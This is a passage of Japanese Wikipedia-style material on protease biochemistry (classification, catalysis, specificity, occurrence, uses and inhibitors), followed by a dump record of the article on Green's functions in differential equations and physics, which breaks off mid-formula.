プロテアーゼの進化的[[スーパーファミリー]]の最新の分類は、MEROPSデータベースにある<ref name="pmid19892822">{{cite journal |vauthors=Rawlings ND, Barrett AJ, Bateman A |title=MEROPS: the peptidase database |journal=Nucleic Acids Res. |volume=38 |issue=Database issue |pages=D227–33 |date=January 2010 |pmid=19892822 |pmc=2808883 |doi=10.1093/nar/gkp971 }}</ref>。このデータベースでは、プロテアーゼを構造、機構、触媒残基の順序に基づいて、最初に「クラン」(clan、タンパク質のスーパーファミリー) によって分類している (例: {{仮リンク|PAクラン|en|PA clan of proteases|label=}}はPが求核性ファミリーの混合物を示す)。各「クラン」内でプロテアーゼは、配列類似性に基づいて[[タンパク質ファミリー|ファミリー]]に分類される (例: PAクラン内のS1とC3ファミリー)。各ファミリーには、何百もの関連プロテアーゼ (例: S1ファミリー内の[[トリプシン]]、[[エラスターゼ]]、[[トロンビン]]および[[ストレプトグリシンA|ストレプトグリシン]]など) が含まれる場合がある。
現在、50以上のクランが知られており、それぞれがタンパク質分解の独立した進化的起源を示している<ref name="pmid19892822" />。
=== 最適pHに基づく分類<!-- Classification based on optimal pH --> ===
また、プロテアーゼは、それらが[[活性]]を発揮する最適な[[水素イオン指数|pH]]によって分類されることもある。
* '''酸性プロテアーゼ'''
* {{仮リンク|I型過敏症|en|Type I hypersensitivity|label=}}に関与する'''中性プロテアーゼ'''。ここでは、[[肥満細胞]]から放出され、[[補体]]や[[キニン]]の活性化を引き起こす<ref name="Kumar122">{{cite book | last1 = Mitchell | first1 = Richard Sheppard | last2 = Kumar | first2 = Vinay | last3 = Abbas | first3 = Abul K. | last4 = Fausto | first4 = Nelson | name-list-style = vanc |title=Robbins Basic Pathology |publisher=Saunders |location=Philadelphia |year= 2007|pages=122 |isbn=978-1-4160-2973-1 | edition = 8th }}</ref>。このグループには[[カルパイン]]が含まれる。
* 塩基性プロテアーゼ (または'''アルカリ性プロテアーゼ''')
== 酵素の機能・機構<!-- Enzymatic function and mechanism -->==
[[File:Protease mechanism summary.svg|thumb|upright=2.4|[[タンパク質分解]]に使用される2つの[[加水分解]]のメカニズムの比較。[[酵素]]は黒で、[[基質 (化学)|基質]]タンパク質は赤で、[[水]]は青で示されている。上のパネルは、酵素が[[酸]]を使用して水を[[分極]]し、次に、基質を加水分解する1段階の加水分解を示している。下のパネルは、酵素内の残基が活性化されて[[求核剤]] (Nu) として作用し、基質を攻撃する2段階の加水分解を示している。これにより、酵素が基質のN末端半分に共有結合した中間体が形成される。第2段階では、この中間体を加水分解するために水が活性化され、触媒作用が完了する。他の酵素残基 (図示せず) は、水素を供与および受容し、反応機構に沿った電荷蓄積を静電的に安定化させる。]]
{{see also|触媒三残基}}
プロテアーゼは、アミノ酸残基をつなぐ[[ペプチド結合]]を分割させることで、長いタンパク質鎖をより短い断片に[[消化]]することに関与している。
今日では切断位置によるエキソペプチダーゼとエンドペプチダーゼの分類が広く用いられる<ref name="岩波生物学辞典">「プロテアーゼ」、『岩波生物学辞典』第4版、岩波書店、1996年。</ref>。
* '''[[エキソペプチダーゼ]]''' - タンパク質鎖から末端アミノ酸を切り離す。基質のN末端から1残基ずつ切断する酵素をアミノペプチダーゼ、C末端側から1残基ずつ切断する酵素をカルボキシペプチダーゼと呼ぶ。
* '''[[エンドペプチダーゼ]]''' - タンパク質の内部ペプチド結合を攻撃、切断する。[[トリプシン]]、[[キモトリプシン]]、[[サブチリシン]]、[[ペプシン]]、[[パパイン]]、[[エラスターゼ]]など。
=== 触媒作用<!-- Catalysis --> ===
[[助触媒|触媒作用]]{{Enlink|Catalysis|英語版}}は、2つの機構のいずれかによって達成される。
* アスパラギン酸、グルタミン酸、および金属プロテアーゼは、水分子を活性化し、ペプチド結合に求核攻撃を加えて加水分解する。
* セリン、スレオニン、およびシステインプロテアーゼは求核性残基を使用する (通常、[[触媒三残基]])。その残基は、求核的な攻撃を実行してプロテアーゼを基質タンパク質に[[共有結合]]させ、生成物の前半を解放する。次に、この共有結合アシル酵素中間体は、活性化された水によって加水分解され、生成物の後半を解放し、遊離酵素を再生することによって触媒作用を完了する。
===基質特異性<!-- Specificity -->===
タンパク質分解は、非常に[[:en:Enzyme promiscuity|無差別]]{{Enlink|Enzyme promiscuity|英語版}}な可能性があり、広範囲のタンパク質基質が加水分解される。これは、[[トリプシン]]のような[[消化酵素]]の場合で、摂取したタンパク質の配列をより小さなペプチド断片に切断できなければならない。無差別プロテアーゼ<!-- promiscuous proteases -->は通常、基質上の単一のアミノ酸に結合するので、その残基に対してのみ[[基質特異性|特異性]]がある。例えば、トリプシンは、配列 ...K/.... または ...R/.... ('/'=切断部位) に特異的である<ref>{{cite journal | vauthors = Rodriguez J, Gupta N, Smith RD, Pevzner PA | title = Does trypsin cut before proline? | journal = Journal of Proteome Research | volume = 7 | issue = 1 | pages = 300–5 | date = January 2008 | pmid = 18067249 | doi = 10.1021/pr0705035 }}</ref>。
逆に、一部のプロテアーゼは非常に特異的であり、特定の配列を持つ基質だけを切断する。血液凝固 ([[トロンビン]]など) およびウイルスポリンタンパク質処理 ([[TEVプロテアーゼ]]など) は、正確な切断イベントを達成するためにこのレベルの特異性を必要とする。これは、指定された残基に結合するいくつかのポケットを備えた長い結合溝<!-- long binding cleft -->またはトンネルを有するプロテアーゼによって達成される。たとえば、TEVプロテアーゼは配列 ...ENLYFQ/S... ('/'=切断部位) に特異的である<ref>{{cite journal | vauthors = Renicke C, Spadaccini R, Taxis C | title = A tobacco etch virus protease with increased substrate tolerance at the P1' position | journal = PLOS One | volume = 8 | issue = 6 | pages = e67915 | date = 2013-06-24 | pmid = 23826349 | pmc = 3691164 | doi = 10.1371/journal.pone.0067915 }}</ref>。
=== 破壊と自己分解<!-- Degradation and autolysis -->===
プロテアーゼは、それ自体がタンパク質であるため、他のプロテアーゼ分子 (時には同じ種類の分子) によって切断される。これはプロテアーゼ活性の調節方法として機能する。一部のプロテアーゼは、自己分解(autolysis)後に活性が低下するが ([[TEVプロテアーゼ]]など) 、他のプロテアーゼは活性が高くなる ([[トリプシノーゲン]]など)。
== プロテアーゼの生物多様性<!-- Biodiversity of proteases --> ==
プロテアーゼは、[[原核生物]]から[[真核生物]]、[[ウイルス]]に至るまで、あらゆる生物に存在している。これらの酵素は、食物タンパク質の単純な消化から高度に制御されたカスケード (たとえば、[[血液凝固]]カスケード、[[補体系]]、[[アポトーシス]]経路、無脊椎動物のプロフェノールオキシダーゼ活性化カスケード) まで、多くの生化学的反応に関与している。プロテアーゼは、タンパク質のアミノ酸配列に応じて、特定のペプチド結合を切断する ('''限定的なタンパク質分解)''' か、またはペプチドをアミノ酸に完全に分解する ('''無制限なタンパク質分解''') かのいずれかである。その活性は、破壊的な変化 (タンパク質の機能を破壊するか、またはその主成分に消化する)、機能の活性化、またはシグナル伝達経路のシグナルとなることがある。
=== 植物<!-- Plants --> ===
'''植物性[[レンネット]]'''<!-- vegetarian rennet -->と呼ばれるプロテアーゼを含む植物樹液は、ヨーロッパや中東で何百年にもわたってコーシャ[[チーズ]]やハラールチーズの製造に使用されてきた。ウィザニア・コアギュランス (''[[:en:Withania coagulans|Withania coagulans]]'' (英語版)) から採れる植物性レンネットは、インド亜大陸で消化不良や糖尿病の[[アーユルヴェーダ]]治療薬として何千年もの間使用されてきた。また[[パニール]]の原料としても使用される。
植物ゲノムは、大部分は未知の機能を持っている何百ものプロテアーゼを符号化している。機能がわかっているものは、主に{{仮リンク|個体発生|en|Ontogeny|label=発生}}調節に関与している<ref>{{cite journal | vauthors = van der Hoorn RA | title = Plant proteases: from phenotypes to molecular mechanisms | journal = Annual Review of Plant Biology | volume = 59 | pages = 191–223 | year = 2008 | pmid = 18257708 | doi = 10.1146/annurev.arplant.59.032607.092835 | url = http://pubman.mpdl.mpg.de/pubman/item/escidoc:1221609/component/escidoc:1221608/vanderhoorn_ann_rev_plant_biol_2008.pdf | hdl = 11858/00-001M-0000-0012-37C7-9 }}</ref>。植物プロテアーゼは[[光合成]]の調節にも関与している<ref>{{cite journal | vauthors = Zelisko A, Jackowski G | title = Senescence-dependent degradation of Lhcb3 is mediated by a thylakoid membrane-bound protease | journal = Journal of Plant Physiology | volume = 161 | issue = 10 | pages = 1157–70 | date = October 2004 | pmid = 15535125 | doi = 10.1016/j.jplph.2004.01.006 }}</ref>。
植物には、プロテアーゼを豊富に含むものがある。
* [[パパイヤ]] - 果肉に[[パパイン]]を含む。食肉の改質剤(軟化剤)としての利用も行われている。
* [[パイナップル]] - 果肉に[[ブロメライン|ブロメライン(ブロメリン)]]を含むため、大量に食べると唇から出血したり、舌に痺れを感じさせる。
* [[ショウガ]] - 根に[[ジンギパイン|ジンギパイン(ジンギバイン)]]を含む。[[牛乳]]の[[凝固剤]]としての利用がある。
* [[イチジク]] - 果肉に[[フィカイン|フィカイン(フィシン)]]を含む。
* [[キウイフルーツ]] - 果肉に[[アクチニジン (酵素)|アクチニダイン(アクチニジン)]]を含む。
===動物<!-- Animals -->===
プロテアーゼは、さまざまな代謝プロセスのために生物全体で使用されている。胃に分泌される酸性プロテアーゼ ([[ペプシン]]など) や[[十二指腸]]に存在するセリンプロテアーゼ ([[トリプシン]]や[[キモトリプシン]]) によって食物中のタンパク質を消化することができる。血液中の血清中に存在するプロテアーゼ ([[トロンビン]]、[[プラスミン]]、[[ハーゲマン因子]]など) は、血液凝固や血栓の溶解、および免疫系の正しい働きに重要な役割を果たす。その他のプロテアーゼ ([[エラスターゼ]]、カテプシンG) は白血球に存在し、代謝制御においていくつかの異なる役割を果たす。[[ヘビ毒]]の中には、[[ニホンマムシ|マムシ]]の[[出血毒|血毒素]]のようなプロテアーゼもあり、犠牲者の血液凝固カスケードを妨害する。プロテアーゼは、ホルモン、抗体、または他の酵素のような重要な生理学的役割を果たしている他のタンパク質の寿命を決定する。これは、生物の生理学における最も速い「スイッチオン」と「スイッチオフ」の調節機構の一つである。
複雑な協調作用により、プロテアーゼは{{仮リンク|生化学カスケード|en|Biochemical cascade|label=カスケード}}反応として進行することがあり、その結果、生理学的シグナルに対する生物の応答の迅速かつ効率的な増幅される。
=== バクテリア<!-- Bacteria --> ===
[[バクテリア]] (bacteria、細菌)は、タンパク質のペプチド結合を加水分解するためにプロテアーゼを分泌し、タンパク質を構成アミノ酸に分解する。タンパク質のリサイクルの中で、地球規模の[[炭素]]と[[窒素]]の循環にとって細菌や真菌のプロテアーゼは特に重要で、そのような活性はこれらの生物の栄養シグナルによって制御される傾向がある<ref>{{cite journal | vauthors = Sims GK | year = 2006 | title = Nitrogen Starvation Promotes Biodegradation of N-Heterocyclic Compounds in Soil | url = https://naldc-legacy.nal.usda.gov/naldc/download.xhtml?id=6863&content=PDF| journal = Soil Biology & Biochemistry | volume = 38 | issue = 8| pages = 2478–2480 | doi=10.1016/j.soilbio.2006.01.006}}</ref>。土壌中に存在する何千もの種の間でプロテアーゼ活性の栄養制御による正味の影響は、タンパク質が炭素、窒素、または硫黄の制限に応じて分解されるように、全体的な微生物群レベルで観察することができる<ref>{{cite journal | vauthors = Sims GK, Wander MM | year = 2002 | title = Proteolytic activity under nitrogen or sulfur limitation | journal = Appl. Soil Ecol. | volume = 568 | pages = 1–5 }}</ref>。
細菌には、[[変性|変性タンパク質]] (折りたたまれないまたは過って折りたたまれたタンパク質) を分解することにより、一般的なタンパク質の品質調整<!-- quality control -->に関与するプロテアーゼ (たとえばAAA+[[プロテアソーム]]) が含まれている。
分泌された細菌性プロテアーゼはまた、外毒素として作用する可能性があり、細菌性{{仮リンク|病因|en|Pathogenesis|label=}}の[[病原性因子|病原因子]] (たとえば[[黄色ブドウ球菌#病原因子|黄色ブドウ球菌]]の[[外毒素]]) の一例となりうる。細菌性外毒素プロテアーゼは、細胞外構造を破壊する。
[[納豆菌]]は、[[フィブリン]] (血栓の主成分) を溶解する[[ナットウキナーゼ]]を含有する。
=== ウイルス<!-- Viruses --> ===
一部のウイルスのゲノムは、1つの巨大な[[ポリタンパク質]]<!-- polyprotein -->を符号化しており、これを機能的な単位に切断するためにプロテアーゼが必要である (例えば、[[C型肝炎ウイルス]]や[[ピコルナウイルス科|ピコルナウイルス]])。これらのプロテアーゼ (例えば[[TEVプロテアーゼ]]) は高い特異性を持ち、非常に限られた範囲で基質配列のセットのみを切断する<ref>{{Cite journal|last=Tong|first=Liang | name-list-style = vanc |date=2002|title=Viral Proteases |journal=Chemical Reviews |volume=102|issue=12|pages=4609–4626|doi=10.1021/cr010184f |pmid=12475203 }}</ref>。したがって、これらのプロテアーゼは、[[プロテアーゼ阻害剤 (生物学)|プロテアーゼ阻害剤]]の一般的な標的である<ref>{{cite journal | vauthors = Skoreński M, Sieńczyk M | title = Viral proteases as targets for drug design | journal = Current Pharmaceutical Design | volume = 19 | issue = 6 | pages = 1126–53 | date = 2013 | pmid = 23016690 | doi=10.2174/13816128130613}}</ref><ref>{{cite journal | vauthors = Yilmaz NK, Swanstrom R, Schiffer CA | title = Improving Viral Protease Inhibitors to Counter Drug Resistance | journal = Trends in Microbiology | volume = 24 | issue = 7 | pages = 547–557 | date = July 2016 | pmid = 27090931 | pmc = 4912444 | doi = 10.1016/j.tim.2016.03.010 }}</ref>。
=== 菌類<!-- Fungus --> ===
* [[マイタケ]] - [[マイタケプロテアーゼ]]を含む。
* [[麹]]
* [[ケカビ]]
* [[クモノスカビ]]
==利用<!-- Uses -->==
{{main|en:Proteases (medical and related uses)}}
プロテアーゼ研究の分野は広大である。2004年以降、この分野に関連する論文は毎年約8000本が発表されている<ref>{{cite book| first1 = Alan J | last1 = Barrett | first2 = Neil D | last2 = Rawlings | first3 = J Fred | last3 = Woessnerd | name-list-style = vanc |title=Handbook of proteolytic enzymes|year=2004|publisher=Elsevier Academic Press|location=London, UK|isbn=978-0-12-079610-6|edition=2nd}}</ref>。プロテアーゼは、産業、医療、生物学で基礎研究ツールとして利用されている<ref>{{cite book| veditors = Hooper NM |title=Proteases in biology and medicine|year=2002|publisher=Portland Press|location=London|isbn=978-1-85578-147-4}}</ref><ref>{{cite journal|last=Feijoo-Siota|first=Lucía|last2=Villa | first2 = Tomás G. | name-list-style = vanc |title=Native and Biotechnologically Engineered Plant Proteases with Industrial Applications|journal=Food and Bioprocess Technology|date=28 September 2010|volume=4|issue=6|pages=1066–1088|doi=10.1007/s11947-010-0431-4}}</ref>。
消化プロテアーゼ<!-- digestive proteases -->は、多くの[[洗濯洗剤]]で使われる成分であり、また、パン業界では{{仮リンク|生地改良剤|en|Dough conditioner|label=}}として広く使用されている。さまざまなプロテアーゼが、その本来の機能 (たとえば、血液凝固を制御) または完全に人工的な機能 (たとえば、病原性タンパク質の標的破壊) の両方のために医学的に使用されている。[[TEVプロテアーゼ]]や[[トロンビン]]などの非常に特異的なプロテアーゼは、一般的に[[融合タンパク質]]や[[タンパク質タグ]]を制御された方法で切断するために使用される。
==阻害剤<!-- Inhibitors -->==
{{main|プロテアーゼ阻害剤 (生物学)|en:Protease inhibitor (pharmacology)}}
プロテアーゼの活性は、[[プロテアーゼ阻害剤 (生物学)|プロテアーゼ阻害剤]]によって阻害される<ref>{{cite journal | vauthors = Southan C | title = A genomic perspective on human proteases as drug targets | journal = Drug Discovery Today | volume = 6 | issue = 13 | pages = 681–688 | date = July 2001 | pmid = 11427378 | doi = 10.1016/s1359-6446(01)01793-7 }}</ref>。プロテアーゼ阻害剤の一例として、[[セルピン]]スーパーファミリーがある。これには、[[α1-アンチトリプシン]] (自身の[[炎症]]性プロテアーゼの過剰な作用から体を保護する)、{{仮リンク|α1-アンチキモトリプシン|en|Alpha 1-antichymotrypsin|label=}} (同様に作用する)、{{仮リンク|C1-インヒビター|en|C1-inhibitor|label=}} (自身の[[補体系]]の過剰なプロテアーゼ誘発活性化から体を保護する)、[[アンチトロンビン]] (自身の過剰な[[凝固]]から体を保護する)、{{仮リンク|プラスミノーゲンアクチベーターインヒビター1|en|Plasminogen activator inhibitor-1|label=}} (自身のプロテアーゼ誘発[[繊維素溶解]]をブロックすることにより、不十分な凝固から身体を保護する)、および{{仮リンク|ニューロセルピン|en|Neuroserpin|label=}}を含む。
天然プロテアーゼ阻害剤には、細胞の制御と分化に役割を果たす{{仮リンク|リポカリン|en|Lipocalin|label=}}タンパク質のファミリーが含まれる。リポカリンタンパク質に結合した[[親油性]]リガンドは、腫瘍プロテアーゼ阻害作用を有することが見出された。天然[[プロテアーゼ阻害剤 (生物学)|プロテアーゼ阻害剤]]を、抗レトロウイルス治療で使用される{{仮リンク|プロテアーゼ阻害剤 (薬理学)|en|Protease inhibitor (pharmacology)|label=プロテアーゼ阻害剤}}と混同してはならない。[[HIV|HIV/AIDS]]を含む一部の[[ウイルス]]は、生殖周期においてプロテアーゼに依存している。そのため、[[抗ウイルス薬|抗ウイルス]]手段としてプロテアーゼ阻害剤が開発されている。
他の天然プロテアーゼ阻害剤は、生物の防衛機構として使用されている。一般的な例として、いくつかの植物の種子に含まれる[[トリプシンインヒビター]]は、人の主要な食用作物である大豆において最も顕著で、捕食者を思いとどまらせるために作用する。生大豆は、含まれているプロテアーゼ阻害剤が変性されるまで、人間を含む多くの動物に[[毒性]]がある。
==脚注==
{{Reflist}}
==関連項目==
* [[タンパク質分解]]
* {{仮リンク|タンパク質分解マップ|en|The Proteolysis Map|label=}}
* {{仮リンク|血管形成におけるプロテアーゼ|en|Proteases in angiogenesis|label=}}
* [[膜内プロテアーゼ]]
* {{仮リンク|プロテアーゼ阻害剤 (薬理学)|en|Protease inhibitor (pharmacology)|label=}} - 抗ウイルス薬のクラス
* [[プロテアーゼ阻害剤 (生物学)]]
* {{仮リンク|TopFIND|en|TopFIND|label=}} - プロテアーゼの特異性、基質、製品、阻害剤のデータベース
* {{仮リンク|MEROPS|en|MEROPS|label=}} - プロテアーゼの進化的グループのデータベース
* [[生姜牛乳プリン]]
==外部リンク==
{{Library resources box
|onlinebooks=no
|by=no}}
* [http://www.protease.org/ International Proteolysis Society]
* [http://merops.sanger.ac.uk/ MEROPS - the peptidase database]
* [http://www.sciencegateway.org/resources/protease.htm List of protease inhibitors]
* [http://www.expasy.org/tools/peptidecutter/ Protease cutting predictor]
* [http://www.expasy.org/tools/peptidecutter/peptidecutter_enzymes.html List of proteases and their specificities] (see also [http://www.expasy.org/cgi-bin/lists?peptidas.txt])
* [https://web.archive.org/web/20081121051237/http://www.proteolysis.org/ Proteolysis MAP from Center for Proteolytic Pathways]
* [https://web.archive.org/web/20110903233056/http://cutdb.burnham.org/ Proteolysis Cut Site database - curated expert annotation from users]
* [https://web.archive.org/web/20081222011039/http://substrate.burnham.org/ Protease cut sites graphical interface]
* [http://clipserve.clip.ubc.ca/topfind TopFIND protease database covering cut sites, substrates and protein termini]
* {{MeshName|Proteases}}
* {{Kotobank}}
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6,862 | グリーン関数 | グリーン関数 (英: Green's function) とは、微分方程式や偏微分方程式の解法の一つであるグリーン関数法に現れる関数である。グリーン関数法は、英国の数学者ジョージ・グリーンによって考案された。
物理学、数学、工学各分野において非常に重要な関数であり、広い用途で使用される。物理学におけるグリーン関数はプロパゲーター(伝播関数)とも呼ばれる。
J. A. Green により導入された組合せ論的関数のことをグリーン関数と呼ぶこともある。これはグリーン多項式とも呼ばれる。有限シュバレー群(オリジナルは有限体上の一般線型群)の既約表現を記述する数学的対象である。
下の偏微分方程式の(初期値)境界値問題を例に考える。
ここで、 L {\displaystyle \mathrm {L} } は微分作用素、 Ω {\displaystyle \Omega } は領域であり、領域の境界 Γ {\displaystyle \Gamma } は、 y 1 ̄ {\displaystyle {\bar {y_{1}}}} が規定されている境界 Γ 1 {\displaystyle \Gamma _{1}} と、 ∂ y / ∂ n {\displaystyle \partial y/\partial n} が規定されている境界 Γ 2 {\displaystyle \Gamma _{2}} からなり、 Γ 1 ∪ Γ 2 = Γ {\displaystyle \Gamma _{1}\cup \Gamma _{2}=\Gamma } 、 Γ 1 ∩ Γ 2 = φ {\displaystyle \Gamma _{1}\cap \Gamma _{2}=\phi } であるものとする。また、 n {\displaystyle n} は境界での外向き法線方向を示す。
上記の問題に対するグリーン関数 G ( x , x ′ ) {\displaystyle G({\boldsymbol {x}},{\boldsymbol {x'}})} とは次の条件を満たす関数のことである。
ここに、x′ はソース点の位置を表す。
無限領域におけるグリーン関数を基本解という。
境界が単純(無限領域、半無限領域、無限平板領域など)でない場合にはグリーン関数を解析的に求めるのは大変困難である。
グリーン関数はもともと微分方程式の境界値問題に現れる関数である。物理学においても微分方程式を解くためにグリーン関数を用いることも多いが、量子物理学ではこれを拡張して使っている。つまり物理学においてグリーン関数は2通りの意味で扱われている。
電磁気学におけるポアソン方程式 Δ φ ( r ) = − ρ ( r ) {\displaystyle \Delta \varphi ({\boldsymbol {r}})=-\rho ({\boldsymbol {r}})} の解 φ ( r ) {\displaystyle \varphi ({\boldsymbol {r}})} を求めたい。この方程式の解として積分方程式 φ ( r ) = ∫ G ( r , r ′ ) ρ ( r ′ ) d r ′ {\displaystyle \varphi ({\boldsymbol {r}})=\int G({\boldsymbol {r}},{\boldsymbol {r'}})\rho ({\boldsymbol {r'}})d{\boldsymbol {r'}}} を仮定し、ポアソン方程式に代入するとグリーン関数 G ( r , r ′ ) {\displaystyle G({\boldsymbol {r}},{\boldsymbol {r'}})} の満たすべき式が得られる。
これを解くために両辺をフーリエ変換すると、 G ( r , r ′ ) {\displaystyle G({\boldsymbol {r}},{\boldsymbol {r'}})} のフーリエ変換 g ( k , r ′ ) = e − i k ⋅ r ′ k 2 {\displaystyle g({\boldsymbol {k}},{\boldsymbol {r'}})={\frac {e^{-i{\boldsymbol {k\cdot r'}}}}{{\boldsymbol {k}}^{2}}}} が得られる 。 これを逆フーリエ変換するとグリーン関数 G ( r , r ′ ) {\displaystyle G({\boldsymbol {r}},{\boldsymbol {r'}})} が求まる。
よってポアソン方程式の解は次のように求まる。
以上のことから、位置 r {\displaystyle {\boldsymbol {r}}} の点電荷が別の位置 r ′ {\displaystyle {\boldsymbol {r'}}} に作る静電ポテンシャルを表したものがグリーン関数であり、これを重ね合わせたものが電荷分布 ρ ( r ) {\displaystyle \rho ({\boldsymbol {r}})} の作る静電ポテンシャル φ ( r ) {\displaystyle \varphi ({\boldsymbol {r}})} であることがわかる。
微分演算子を線型演算子 L と見て、微分方程式 Lφ = −ρ を解きたいとき、一種の逆演算子 L を求めることができれば、φ = −Lρ というように微分方程式を解くことができる。これは線型代数における連立方程式において、係数行列の逆行列を求めることができれば連立方程式を解くことができることと対応している。このような L をグリーン演算子 (Green's operator, Green operator) という。グリーン演算子を行列表示したときの行列要素をグリーン関数という。
このようにグリーン関数を抽象的な演算子と考えて取り扱うことには次のような利点がある。
例えば、方程式
のグリーン演算子 ˆG が満たすべき方程式は
である。これを形式的に解くと
である。このグリーン演算子を具体的に計算するには ˆH0 の固有ベクトルを用いて
のように展開する。ただし E = E0 となるときは発散してしまう。それを避けるため分母をわずかに虚数軸方向にずらすことでこの問題は解消される
たとえば ˆH0 = −Δ の場合のグリーン演算子の行列要素は、固有値を E = k として、次のように書ける。
ここで G + 0 {\displaystyle G_{+}^{0}} は外向き、 G − 0 {\displaystyle G_{-}^{0}} は内向きの球面波で、波が r' から r へ伝播する様子を示すものである。
散乱理論の形式論では、グリーン関数が用いられる。その基本方程式にもグリーン関数が含まれ、リップマン‐シュウィンガー方程式と呼ばれる。
シュレーディンガー方程式を厳密に解く事は一般的に非常に困難な場合が多いが、近似に解く手法の一つとして摂動論がある。以下では摂動論におけるグリーン関数の形式理論について解説する。
系のハミルトニアン ˆH が無摂動項 ˆH0 と摂動項 ˆV の和で与えられた (ˆH = ˆH0 + ˆV) とする。無摂動ハミルトニアン ˆH0 に対して固有値方程式
が成り立つ(例:ハートリー-フォック近似など)。
ω − ˆH0 を微分作用素として考えると非摂動グリーン関数 G (ω)は 以下のように定義される(ここでデルタ関数 δ(x − x') は形式的に 1 とした)。
次に摂動ハミルトニアン ˆV で展開すると、
この式の両辺に ω − ˆH0 を作用させ変形すると、摂動グリーン関数は次の関係を満たしていることがわかる。
また、この摂動グリーン関数が満たす関係式は
に対応している。
場の量子論や物性論においては、シュレーディンガー方程式に対するグリーン関数ではなくて、むしろ場の演算子に対する方程式に関連したものをグリーン関数と名付けて有効に用いている。それらの方程式は相互作用がない場合は、例えばスカラー場に対してクライン-ゴルドン方程式となるように、既に知られた方程式と同形のものになり、グリーン関数としても同じものとなる。しかし相互作用がある場合は方程式が非線形となり、摂動論的な扱いを除いて、古典的なグリーン関数の理論との対応を失う。 | [
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| グリーン関数 とは、微分方程式や偏微分方程式の解法の一つであるグリーン関数法に現れる関数である。グリーン関数法は、英国の数学者ジョージ・グリーンによって考案された。 物理学、数学、工学各分野において非常に重要な関数であり、広い用途で使用される。物理学におけるグリーン関数はプロパゲーター(伝播関数)とも呼ばれる。 J. A. Green により導入された組合せ論的関数のことをグリーン関数と呼ぶこともある。これはグリーン多項式とも呼ばれる。有限シュバレー群(オリジナルは有限体上の一般線型群)の既約表現を記述する数学的対象である。 | {{出典の明記|date=2022年7月}}
'''グリーン関数'''(グリーンかんすう、{{lang-en-short|Green's function}})とは、[[微分方程式]]や偏微分方程式の解法の一つである[[グリーン関数法]]に現れる[[関数 (数学)|関数]]である。グリーン関数法は、[[イギリス|英国]]の[[数学者]][[ジョージ・グリーン]]によって考案された。
[[物理学]]、[[数学]]、[[工学]]各分野において非常に重要な関数であり、広い用途で使用される。物理学におけるグリーン関数は'''[[プロパゲーター]]'''('''伝播関数''')とも呼ばれる。
J. A. Green により導入された[[組合せ論]]的関数のことをグリーン関数と呼ぶこともある。これは[[グリーン多項式]]とも呼ばれる。[[有限シュバレー群]](オリジナルは[[有限体]]上の[[一般線型群]])の既約表現を記述する数学的対象である。
== 微分方程式 ==
下の[[偏微分方程式]]の(初期値)[[境界値問題]]を例に考える。
:<math>\begin{align}
\mathrm{L}y(\boldsymbol{x}) &= -f(\boldsymbol{x}) & \boldsymbol{x} &\in \Omega \\
y(\boldsymbol{x}) &= \bar{y_1} & \boldsymbol{x} &\in \Gamma_1 \\
\frac{\partial y(\boldsymbol{x})}{\partial n} &= \bar{y_2} & \boldsymbol{x} &\in \Gamma_2
\end{align}</math>
ここで、 <math>\mathrm{L}</math>は微分作用素、<math>\Omega</math>は領域であり、領域の境界<math>\Gamma</math>は、<math>\bar{y_1}</math> が規定されている境界 <math>\Gamma_1</math>と、<math>\partial y/\partial n</math> が規定されている境界 <math>\Gamma_2</math> からなり、 <math>\Gamma_1\cup \Gamma_2 = \Gamma</math>、<math>\Gamma_1\cap \Gamma_2 = \phi</math> であるものとする。また、<math>n</math> は境界での外向き法線方向を示す。
上記の問題に対するグリーン関数 <math>G( \boldsymbol{x}, \boldsymbol{x'})</math> とは次の条件を満たす関数のことである。
:<math>\begin{align}
\mathrm{L}G(\boldsymbol{x},\boldsymbol{x}') &= -\delta(\boldsymbol{x}-\boldsymbol{x}') & \boldsymbol{x} &\in \Omega \\
G(\boldsymbol{x},\boldsymbol{x}') &= 0 & \boldsymbol{x} &\in \Gamma_1 \\
\frac{\partial G (\boldsymbol{x},\boldsymbol{x}')}{\partial n} &= 0 & \boldsymbol{x} &\in \Gamma_2
\end{align}</math>
ここに、'''''x'''′'' はソース点の位置を表す。
無限領域におけるグリーン関数を'''基本解'''という。
境界が単純(無限領域、半無限領域、無限平板領域など)でない場合にはグリーン関数を解析的に求めるのは大変困難である。
==物理学におけるグリーン関数==
グリーン関数はもともと微分方程式の境界値問題に現れる関数である。物理学においても微分方程式を解くためにグリーン関数を用いることも多いが、[[量子物理学]]ではこれを拡張して使っている<ref>『物理学辞典』 培風館、1984年</ref>。つまり物理学においてグリーン関数は2通りの意味で扱われている。<ref>* {{cite book | 和書 | author=小泉義晴 | title=微分方程式と量子統計力学のグリーン関数<講義・演習> | year=2010 | publisher=東海大学出版会 | isbn=978-4-486-01887-2 }}
</ref>
* 境界値問題における微分方程式の主要解を意味し、与えられた全ての境界条件・初期条件を満足する。物理学では、微分方程式を直接解く代わりに、まず単純な点源問題の解であるグリーン関数を求めた後、[[重ね合わせの原理]]によって微分方程式の解をグリーン関数を用いて表す。
* ある物理系を構成する個々の状態間の相関関数を与える関数として使われ、位置や時間などで指定されたある状態から他の状態への伝達(伝播)の特性を表す。詳細は[[プロパゲーター]]や[[グリーン関数 (多体理論)]]を参照。
=== ポアソン方程式 ===
[[電磁気学]]における[[ポアソン方程式]]<math>\Delta \varphi(\boldsymbol{r})=-\rho(\boldsymbol{r})</math>の解<math>\varphi(\boldsymbol{r})</math>を求めたい。この方程式の解として[[積分方程式]]<math>\varphi(\boldsymbol{r})=\int G(\boldsymbol{r},\boldsymbol{r'})\rho(\boldsymbol{r'})d\boldsymbol{r'}</math>を仮定し、ポアソン方程式に代入するとグリーン関数<math>G(\boldsymbol{r},\boldsymbol{r'})</math>の満たすべき式が得られる。
:<math>\Delta G(\boldsymbol{r},\boldsymbol{r'}) = -\delta(\boldsymbol{r}-\boldsymbol{r'})</math>
これを解くために両辺を[[フーリエ変換]]すると、<math>G(\boldsymbol{r},\boldsymbol{r'})</math>のフーリエ変換<math>g(\boldsymbol{k},\boldsymbol{r'})=\frac{e^{-i\boldsymbol{k \cdot r'}}}{\boldsymbol{k}^2}</math>が得られる
<ref group="注釈">
<math>
\Delta G(\boldsymbol{r}, \boldsymbol{r'}) = \frac{1}{(2\pi)^3}\int \Delta g(\boldsymbol{k,r'}) e^{i\boldsymbol{k}\cdot \boldsymbol{r}}d\boldsymbol{k} = -\frac{1}{(2\pi)^3}\int g(\boldsymbol{k,r'})k^2 e^{i\boldsymbol{k}\cdot \boldsymbol{r}}d\boldsymbol{k}
</math>
<br>
<math>
